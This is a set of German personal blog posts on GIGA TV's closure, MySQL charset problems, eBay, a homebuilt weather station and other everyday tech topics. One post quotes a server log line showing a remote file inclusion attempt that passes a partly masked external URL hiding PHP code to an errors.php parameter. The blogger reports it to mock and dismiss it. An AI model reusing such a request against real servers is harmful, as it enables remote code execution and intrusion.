Auch, wenn ich in TV und Community nicht mehr aktiv bin: Giga ruft immer Erinnerungen hervor, so ist diese Nachricht direkt im Sichtfeld hängen geblieben. Die aktuelle Lage im Werbe- und Gamingmarkt haben es bereits vermuten lassen: Spielen geht offenbar nicht immer. Eigentümer Premiere wird zum 31.März den Sendebetrieb einstellen. Eine entsprechende News wurde heute, am Freitag den 13., im GIGA-Blog veröffentlicht und ging kurz danach über den Presseticker. Neue Sendungen werden ab sofort nicht mehr ausgestrahlt. Auch eine Abschiedssendung wird es offenbar nicht mehr geben, diese Aufgabe wird für die Community nun wohl die Mädels und Jungs der Fan-Sendung GIGA.United übernehmen müssen, welche am 4. April wieder für 24 Stunden ausgestrahlt wird.
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Heute im Angebot: Mailrouter
Bei einigen Fehlermeldungen muss man schon schmunzeln…
[…]er hat einen Mailrouter bekommen[…]Was können wir nun da machen?
Eventuell lässt sich der Mailrouter ja bei gebraucht eBay verkaufen, ansonsten übernehme ich in solchen Fällen die Eliminierung des „Routers“ gegen einen kleinen Obulus in Form einer SMTP-Fehlermeldung…
Got an error.php?
Wird ja immer kreativer hier… Soeben schleicht sich folgende Zeile ins Log:
"GET /files/tools/****/errors.php?error=http://***.com.ar/images/idia.jpg??? HTTP/1.1" 404 319 "-" "libwww-perl/5.79"
Hinter dem JPEG verbirgt sich ein PHP-Quelltext, welcher mit
echo "NigeriaN HackerS TeaM";
endet
Netter Versuch, aber blind Dateien per $_GET includen hat sich selbst mein Azubi abgewöhnt und register_globals habe ich seit Jahren nirgendwo mehr aktiv gesehen. Dummerweise ist die Whois-Datenbank für .com.ar momentan down, sonst hätte ichs mal beim Provider versucht. So bleibt mir nur es MkSwap gleich zu tun und dem NHT einen schönen Tag zu wünschen…
Am Wochenende ist Nerd-Silvester!
Am Samstag, 14. Februar um 00:31:30 CET ist Nerd-Silvester! Genau in dieser Sekunde wird der Unix-Timestamp den Wert „1234567890“ erreichen. Wer groß Feiern möchte kann das in Wiesbaden tun oder einfach wie ich eine Flasche Bier bereithalten. Prost.
unset localhost – Willkommen auf dem neuen Server
Endlich geschafft. Trotz Sonderzeichenproblematik ist der Blog samt Gallery nun irgendwie auf dem neuen Server angekommen. Gleichzeitig noch WordPress auf die 2.7er Serie hochgezogen und diverse Sachen ausgemistet, wenn man schon alles zerlegt dann richtig. Mein Blog dient hier als Testgelände bevor ich mich in den nächsten Tagen an die anderen Kandidaten mache.
–Edit–
Ich höre grade, dass ABS atm Registrierungen und Abmeldungen nicht verarbeitet. Dürfte daran liegen, dass momentan GUI und Backend auf verschiedenen Server liegen, werde ich morgen beheben.
Schei? encoding – MySQL vs. Charsets
Encoding ist ja schon was feines – und vorallem etwas, dass offenbar überall Probleme macht. Alleine um einen Überblick über den heutigen Tag zu geben:
Eventim begrüßt mich mit
Lieber eventim.de-Kunde,Sie haben sich für den[….]
ein Telekom-Mitarbeiter verabschiedet sich als
J?rgen L[…]
(Ja, die Formatierung ist original aus der Outlook-Mail)
und im gerade eingetroffenen Chatlog sehe ich auch nur ü’s
Aber auch mich hats Heute erwischt: MySQL und Umlaute waren schon immer eine schlechte Idee. Beim Umzug auf den neuen Server wieder der alte K(r)ampf: Sonderzeichen die sich bemühen wirklich sonderbar zu sein. Egal welcher Exportcharset, egal welcher Importcharset – egal ob Konsole oder phpMyAdmin, sinnvolle Sonderzeichen waren der Datenbank nicht zu entlocken. Abhilfe schaffte die Software MySQLDumper, welche mir im SysCP-Chat empfohlen wurde. Dort die UTF8-Datenbank als latin1 exportieren und auf dem neuen Server das selbe File in phpMyAdmin als UTF8 importiert – logisch, oder? Da passt daer MySQL-Ikea-Vergleich der aktuellen Datenschleuder irgendwie…
Suchtstoffe im Shampoo?
Der ÖPNV entpuppt sich in Kombination mit Langeweile wieder als perfekter Platz für Verhaltensstudien. Heutiges „Opfer“ war eine jüngere Person, Haare etwas länger als Schulter. Aufgefallen war die Person, da sie auffällig oft die nicht vorhandene Frisur richten musste. Wie gesagt, Langeweile, daher mal mitgezählt: Die maximale Zeitspanne einer Hand-Haar-Abstinenz lag bei ganzen 14 Sekunden – Respekt…
Ach ja, ebay…
Langsam nervts wirklich. Nachdem die Hälfte der Seite inzwischen ohne Javascript unbenutzbar ist kann man inzwischen einige Aktionen nur noch machen, wenn man sich auf einen Artikel beschränkt. Hat man mehrere Artikel in verschiedenen Tabs offen kommt das System durcheinander. Lapidare Antwort des „Supports“:
[...]mehrere Artikel nicht gleichzeitig über unterschiedliche Tabs [...] sondern nacheinander zu durchlaufen. Die Informationen[...]werden über Cookies gespeichert.
Da wäre ich nicht drauf gekommen…
Revival der Wetterstation
Über Nacht habe ich mich nochmal am Außensensor meiner Wetterstation probiert. Den hatte ich vor einigen Monaten in die Ecke gelegt, da die meisten Sensoren irgendwie nicht so wollten wie ich und mir die Lust vergangen war. Nun weiß ich auch warum: Ein Kabel war gebrochen… Der Sensor hat über Nacht einige Änderungen abbekommen und klebt nun im funktionellen Plastikgehäuse zum Test im Freien.
Kleiner Überblick über die Hardware:
- AVR ATMega8L
- SHT71, digitaler Feuchte-/Temperatursensor, ±3.0 %rF, ±0.4°C
- MPX4115A, analoger Drucksensor, über OpAmp am ADC
- Conrad „Regensensor“
- RF02, Funkmodul
- Stromversorgung: 7805 (µCs), TS317 (1,5V Regensensor)
Funktionen:
- Normalbetrieb: Messwerte alle 90 Sekunden senden
- SHT71/MPX4115A: Werte werden bei Bedarf ausgelesen
- Regensensor: Interruptgesteuert
- Debug-Jumper: Sendeintervall auf 5 Sekunden verkürzen
- RS232-Schnittstelle zum debuggen
Am Stromverbrauch ließe sich noch etwas machen – momentan werden keine Sleep-Modi der µCs verwendet und auf die eigene Elektronik des Regensensors könnte man auch verzichten. Da der Verbrauch aber nur knapp über dem Leerlaufverbrauch des Netzteils liegt ist das für mich erst mal uninteressant.
Bisher ist noch kein Datensatz ohne Bitfehler angekommen, könnte aber daran liegen, dass der Empfänger noch auf meinem Basteltisch unter Tonnen von Kabeln begraben ist. An der endgültigen Position sollte der Empfang deutlich besser sein. Dank Fehlerkorrektur vermeldet das System trotzdem soeben folgendes:
RX DONE
Data: #####T 359 H 6965 P 849 R 10 C 6409#||
Oder grob übersetzt:
Temperatur
3,59°C (/100)Luftfeuchte
69,65% (/100)Luftdruck NN
1004,45 hPa
(((((Vss/1023*ADC)/(R2/R1+1))+Vref)/5+0,095*1111,11*Fkorr)/(1-((0,0065*h)/288,15)^5,255)) [sic!]Regen:
45mm/m² (Ticks * 4,5mm/m², reset bei 100 Ticks)Der letzte Wert ist eine einfache Prüfsumme (XOR)
Jetzt muss es nurnoch für einen Test regnen – die Gießkanne ist noch zugefroren…
–EDIT–
Zu früh gefreut… MESSFEHLER_T2 oder auch SHT71 ausgefallen. Scheint, als ob das Kabel noch immer Probleme macht…
Grillfest
OK, schlecht Idee… Ein loses Bauteil in meinem Netzteil sorgte Gestern für etwas schlechte Laune. Eigentlich kein Problem: Abmontieren, Anlöten, Einbauen. Da ich in der Zwischenzeit aber nicht mein komplettes System lahmlegen wollte noch schnell ein anderes Netzteil angeschlossen – 5V, passt schon. Tja, offenbar tat es das nicht. Irgendwie hatte das Ersatznetzteil eine Macke und lieferte statt der versprochenen 5V plötzlich 7V. Obwohl die (automatisch rückstellenden) Sicherungen meiner Nodes funktionierten und ich recht schnell den Übeltäter von der Leitung entfernte transformierte sich ein Atmega vom Steuerungschip für Temperaturmessungen zur Kochplatte. Dieser Node war nur notdürftig zusammengesteckt und offenbar hatte ich keine Sicherung draufgepackt. Verdammt.
Immerhin war dank SVN der Quellcode noch greifbar und ein neuer µC schnell auf der Platine dem Steckbrett. Die Sensoren haben die 7V offenbar überlebt und lieferten direkt augenscheinlich richtige Messwerte. Ein Gutes hat das Ganze: Der gewachsene Kabelsalat des Nodes ist jetzt wesentlich geschrumpft und wieder halbwegs nachvollziehbar – dieses mal mit Sicherung.